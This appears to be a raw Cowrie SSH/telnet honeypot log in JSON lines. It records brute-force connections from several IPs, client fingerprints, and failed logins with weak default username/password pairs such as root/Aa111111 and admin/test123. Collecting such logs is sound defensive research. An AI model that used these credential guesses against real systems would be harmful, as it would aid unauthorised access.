{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34762,"dst_ip":"10.17.0.5","dst_port":22,"session":"f127087cb816","protocol":"ssh","message":"New connection: 91.92.40.36:34762 (10.17.0.5:22) [session: f127087cb816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:39.059578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:39.721991Z","src_ip":"91.92.40.36","session":"f127087cb816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:39.725113Z","src_ip":"91.92.40.36","session":"f127087cb816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:42.070968Z","src_ip":"91.92.40.36","session":"f127087cb816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:43.427888Z","src_ip":"91.92.40.36","session":"f127087cb816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35802,"dst_ip":"10.17.0.5","dst_port":22,"session":"3751502637b4","protocol":"ssh","message":"New connection: 91.92.40.36:35802 (10.17.0.5:22) [session: 3751502637b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:48.248831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:48.348423Z","src_ip":"91.92.40.36","session":"3751502637b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:49.248075Z","src_ip":"91.92.40.36","session":"3751502637b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51674,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a4486c75131","protocol":"telnet","message":"New connection: 172.81.62.90:51674 (159.203.135.109:23) [session: 9a4486c75131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:49.542503Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:53.088272Z","src_ip":"91.92.40.36","session":"3751502637b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35840,"dst_ip":"10.17.0.5","dst_port":22,"session":"10a99010dff4","protocol":"ssh","message":"New connection: 91.92.40.36:35840 (10.17.0.5:22) [session: 10a99010dff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:53.641283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:53.957497Z","src_ip":"91.92.40.36","session":"10a99010dff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:53.961978Z","src_ip":"91.92.40.36","session":"10a99010dff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:55.568232Z","src_ip":"91.92.40.36","session":"3751502637b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elina","password":"elina","message":"login attempt [elina/elina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:55.575847Z","src_ip":"91.92.40.36","session":"10a99010dff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:56.899863Z","src_ip":"91.92.40.36","session":"10a99010dff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39828,"dst_ip":"10.17.0.5","dst_port":22,"session":"808ffc7d2183","protocol":"ssh","message":"New connection: 91.92.40.36:39828 (10.17.0.5:22) [session: 808ffc7d2183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:01.335472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:01.878152Z","src_ip":"91.92.40.36","session":"808ffc7d2183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:01.881547Z","src_ip":"91.92.40.36","session":"808ffc7d2183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:06.948767Z","src_ip":"91.92.40.36","session":"808ffc7d2183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:08.863120Z","src_ip":"91.92.40.36","session":"808ffc7d2183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57614,"dst_ip":"10.17.0.5","dst_port":22,"session":"c285c663286f","protocol":"ssh","message":"New connection: 91.92.40.36:57614 (10.17.0.5:22) [session: c285c663286f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:09.419934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:09.495084Z","src_ip":"91.92.40.36","session":"c285c663286f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:09.923856Z","src_ip":"91.92.40.36","session":"c285c663286f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":39782,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed390d1e0df","protocol":"ssh","message":"New connection: 102.210.148.92:39782 (159.203.135.109:22) [session: 1ed390d1e0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:10.962064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:10.967324Z","src_ip":"102.210.148.92","session":"1ed390d1e0df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:11.072683Z","src_ip":"91.92.40.36","session":"c285c663286f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:11.209119Z","src_ip":"102.210.148.92","session":"1ed390d1e0df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:12.212339Z","src_ip":"102.210.148.92","session":"1ed390d1e0df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:12.273410Z","src_ip":"91.92.40.36","session":"c285c663286f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:13.456187Z","src_ip":"102.210.148.92","session":"1ed390d1e0df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":34892,"dst_ip":"159.203.135.109","dst_port":22,"session":"126114bd716e","protocol":"ssh","message":"New connection: 160.187.180.146:34892 (159.203.135.109:22) [session: 126114bd716e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:13.837542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:13.842546Z","src_ip":"160.187.180.146","session":"126114bd716e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:14.065926Z","src_ip":"160.187.180.146","session":"126114bd716e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test123","message":"login attempt [admin/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:14.992066Z","src_ip":"160.187.180.146","session":"126114bd716e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:16.218695Z","src_ip":"160.187.180.146","session":"126114bd716e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54336,"dst_ip":"10.17.0.5","dst_port":22,"session":"29fb97a7217b","protocol":"ssh","message":"New connection: 91.92.40.36:54336 (10.17.0.5:22) [session: 29fb97a7217b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:16.657308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:16.951810Z","src_ip":"91.92.40.36","session":"29fb97a7217b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:16.956060Z","src_ip":"91.92.40.36","session":"29fb97a7217b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flow","password":"flow","message":"login attempt [flow/flow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:19.264076Z","src_ip":"91.92.40.36","session":"29fb97a7217b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:20.880225Z","src_ip":"91.92.40.36","session":"29fb97a7217b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54384,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f8e5cdcb478","protocol":"ssh","message":"New connection: 91.92.40.36:54384 (10.17.0.5:22) [session: 3f8e5cdcb478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:24.034803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:58:24.969503Z","src_ip":"91.92.40.36","session":"3f8e5cdcb478","protocol":"ssh"}
